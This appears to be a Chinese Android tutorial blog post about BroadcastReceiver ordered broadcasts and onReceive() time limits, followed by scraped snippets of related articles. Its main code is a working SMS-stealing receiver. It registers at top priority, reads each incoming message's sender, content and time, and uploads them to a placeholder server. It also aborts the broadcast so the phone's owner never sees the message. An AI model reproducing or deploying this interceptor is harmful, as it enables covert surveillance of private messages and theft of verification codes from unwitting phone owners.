BroadcastReceiver广播接收者(五)——onReceive()中的耗时任务以及短信窃听

SMSBroadcastReceiver如下:

package cn.com;

import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import java.text.SimpleDateFormat;
import java.util.Date;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsMessage;
/**
 * Demo示例:
 * 1 Android的两种广播
 * 2 广播接收者中onReceive()方法的注意事项
 * 3 利用广播接收者窃听短信且上传至服务器
 *
 *
 * 广播分为两种:普通广播和有序广播
 *
 * Context.sendBroadcast()
 * 发送的是普通广播,所有订阅者都有机会获得并进行处理.
 *
 * Context.sendOrderedBroadcast()
 * 发送有序广播,系统会根据接收者声明的优先级别按顺序逐个执行接收者.
 * 前面的接收者有权终止广播(BroadcastReceiver.abortBroadcast()).
 * 如果广播被前面的接收者终止,后面的接收者就再也无法获取到广播.
 * 对于有序广播,前面的接收者可以将数据通过setResultExtras(Bundle)方法存放进结果对象.然后传给下一个接收者,
 * 下一个接收者通过代码:Bundle bundle = getResultExtras(true))可以获取上一个接收者存入在结果对象中的数据.
 *
 * 当系统收到短信发出的广播属于有序广播.如果想阻止用户收到短信,可以通过设置优先级,让自定义的接收者先获取到广播;
 * 然后终止广播,这样用户就接收不到短信了.
 * 除了短信到来广播Intent,Android还有很多广播Intent如:开机启动、电池电量变化、时间已经改变等
 *
 * 注意:
 * 1 在Android中,每次广播消息到来时都会创建BroadcastReceiver实例并执行onReceive()方法
 *   该方法执行完后,BroadcastReceiver的实例就会被销毁.
 *   当onReceive()方法在短时间内(约10S)内没有执行完毕就会导致ANR.
 *   所以在BroadcastReceiver里不能做一些比较耗时的操作.
 *   如果需要完成一项比较耗时的工作,应该通过发送Intent给Service,由Service来完成
 * 2 onReceive()方法中不能使用子线程来解决耗时的工作
 *   因为BroadcastReceiver的生命周期很短,子线程可能还没有结束BroadcastReceiver就先结束了.
 *   BroadcastReceiver一旦结束,此时BroadcastReceiver所在的进程很容易在系统需要内存时被优先杀死.
 *   因为它属于空进程(没有任何活动组件的进程).如果它的宿主进程被杀死,那么正在工作的子线程也会被杀死.
 *   所以采用子线程来解决是不可靠的.
 *
 *
 * 此处关于短信窃听的示例很简单(当然实用性也大打折扣~)
 * 对应代码本身不再说明.
 *
 * 配置广播接收者:
 *  <receiver android:name=".SMSBroadcastReceiver">
 *      <intent-filter android:priority="1000">
 *         <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
 *     </intent-filter>
 *  </receiver>
 *
 *  注意权限:
 *  <!-- 接收短信权限 -->
 *  <uses-permission android:name="android.permission.RECEIVE_SMS"/>
 *  <!-- 访问internet权限 -->
 *  <uses-permission android:name="android.permission.INTERNET"/>
 *
 */

public class SMSBroadcastReceiver extends BroadcastReceiver {

	@Override
	public void onReceive(Context context, Intent intent) {
		Object[] pdus = (Object[]) intent.getExtras().get("pdus");
		for (Object pdu : pdus) {
			SmsMessage message = SmsMessage.createFromPdu((byte[]) pdu);
			String sender = message.getDisplayOriginatingAddress();
			String content = message.getMessageBody();
			long date = message.getTimestampMillis();
			Date timeDate = new Date(date);
			SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
			String time = simpleDateFormat.format(timeDate);
			sendMessageToPlatform(sender, content, time);
			// 中断广播,不再往下传递
			abortBroadcast();
		}
	}

	/**
	 * 将短信上传至后台
	 */
	private void sendMessageToPlatform(String sender, String content,String time) {
		String path = "http://your paltform address";
		try {
			String params = "method=getSMS&sender=" + sender + "&content="+
		                    URLEncoder.encode(content, "UTF-8") + "&time=" + time;
			byte[] entity = params.getBytes();
			HttpURLConnection httpURLConnection=(HttpURLConnection)new URL(path).openConnection();
			httpURLConnection.setConnectTimeout(5000);
			httpURLConnection.setRequestMethod("GET");
			httpURLConnection.setDoOutput(true);
			httpURLConnection.setRequestProperty("Content-Type","application/x-www-form-urlencoded");
			httpURLConnection.setRequestProperty("Content-Length",String.valueOf(entity.length));
			OutputStream outputStream = httpURLConnection.getOutputStream();
			outputStream.write(entity);
			httpURLConnection.getResponseCode();
		} catch (Exception e) {
			e.printStackTrace();
		}
	}

}
时间: 2024-11-30 13:11:33

BroadcastReceiver广播接收者(五)——onReceive()中的耗时任务以及短信窃听的相关文章

Android编程四大组件之BroadcastReceiver(广播接收者)用法实例_Android

本文实例讲述了Android编程四大组件之BroadcastReceiver(广播接收者)用法.分享给大家供大家参考,具体如下: 这里介绍如何创建广播.如何发送一个无序广播和有序广播.以及监听短信以及监听呼出电话(当我们发短信和打电话,系统就会发一个广播,我们可以拦截此广播进行监听短信以及监听呼出电话). 定义广播接收者 1.定义类继承BroadcastReceiver,重写onReceive方法 2.当接收到匹配广播之后就会执行onReceive方法 3.清单文件中声明<receiver>,

BroadcastReceiver广播接收者(三)——利用广播在应用程序之间传递数据

 TestBroadcastA应用如下 MainActivity如下: package cc.testbroadcasta; import android.os.Bundle; import android.app.Activity; /** * Demo描述: * 利用广播在应用程序之间传递数据 * * TestBroadcastA应用中注册一个广播接收者. * TestBroadcastB应用中发出一个广播 */ public class MainActivity extends Act

读取短信-我想读取手机中以BN开头的短信,谁能给我指导下代码怎么写?感激不尽啊

问题描述 我想读取手机中以BN开头的短信,谁能给我指导下代码怎么写?感激不尽啊 做的东西中要求读取手机中以BN开头的短信,谁能给我指导下代码怎么写, 解决方案 想要读取手机中以BN开头的短信,首先你要先能读到短信的完整内容.这个你做得到不? 如果能,对读到的内容前两个字节进行判断,看看是否是 BN: 如果不能,你就要去看看手机:(1)OS?(2)不同 OS下读取SMS的方法?

BroadcastReceiver广播接收者(六)——粘性广播(StickyBroadcast)使用示例

MainActivity如下: package cc.com; import android.os.Bundle; import android.app.Activity; import android.content.Context; import android.content.Intent; /** * Demo描述: * 粘性广播(StickyBroadcast)使用示例 * 粘性广播也叫等待广播. * * 使用场景: * 发送一个粘性广播(StickyBroadcast),但是现在并没

BroadcastReceiver广播接收者(一)——利用代码注册广播接收者

MainActivity如下: package cc.testbroadcasta; import android.os.Bundle; import android.app.Activity; import android.content.Intent; import android.content.IntentFilter; /** * Demo描述: * 在代码中注册广播接收者 * 1 在onCreate()中注册广播接收者 * 2 在onDestroy()中取消注册广播接收者 */ pu

BroadcastReceiver广播接收者(二)——利用AndroidManifest.xml注册广播接收者

MainActivity如下: package cc.testbroadcasta; import android.os.Bundle; import android.app.Activity; import android.content.Intent; /** * Demo描述: * 利用AndroidManifest.xml注册广播接收者 */ public class MainActivity extends Activity { @Override protected void onC

C#中实现语音朗读(短信 &amp;amp; 语音短信)sms

一个项目中,客户要求实现给集团公司员工发送短信如,拜年短信等.另,支持给领导发送语音短信 .实现方法如下. 1.群发短信有几种方式: 1.1 短信猫:一个普通的工控机,插入SIM卡,可以通过接口的方式发送短信,点对点发送,到达 率快准确,但是呼出的号码是普通的手机号码.缺点:移动对SIM卡的限制是每小时200条,发送太多会 锁卡.目前短信猫有8端口的,即1小时最多能发送1600条.每条短信的价格为0.1元. 技术实现: 一般配合短信猫有SDK组件,才共享数据库作为接口.定义4个表:待发送表,发送

中电信确认安卓病毒短信:通信录/短信危险

硅谷网讯 4月4日消息,中国电信网络安全团队(SOC)分析确认了一起手机用户遭病毒感染群发短信的安全事件,并向国家互联网应急处理协调中心(CNCERT)和中国反http://www.aliyun.com/zixun/aggregation/38410.html">网络病毒联盟(ANVA)进行报送. 该病毒在4月3日晚间20:15左右通过手机短信进行爆发式传播,安卓用户手机在收到内容为"嘿,XXX,我发现一个非常神奇的APP,特别好用,打开http://t.cn/8sJQ03I-1

中移动回应央视垃圾短信报道:将严打垃圾短信

文/搜狐IT记者 毛启盈近日,中央电视台播出了关于垃圾短信的报道,矛头直指中国三大电信运营商,并且将其列为头号推手.对此,中移动相关负责人对搜狐IT表示:中移动高度重视媒体反映的情况,已第一时间责成四川移动进行核查,并在全集团紧急部署,要求立即开展自查自纠,坚决堵住管理漏洞,切实加大治理力度,严厉打击垃圾短信.初步核查表明,中国移动在发展MAS业务(即移动 代理服务器业务, 主要功能是集团客户内部群发信息,严禁将端口代码用作经营性业务)中,出现了一些单位利用MAS端口群发垃圾信息的情况,反映出中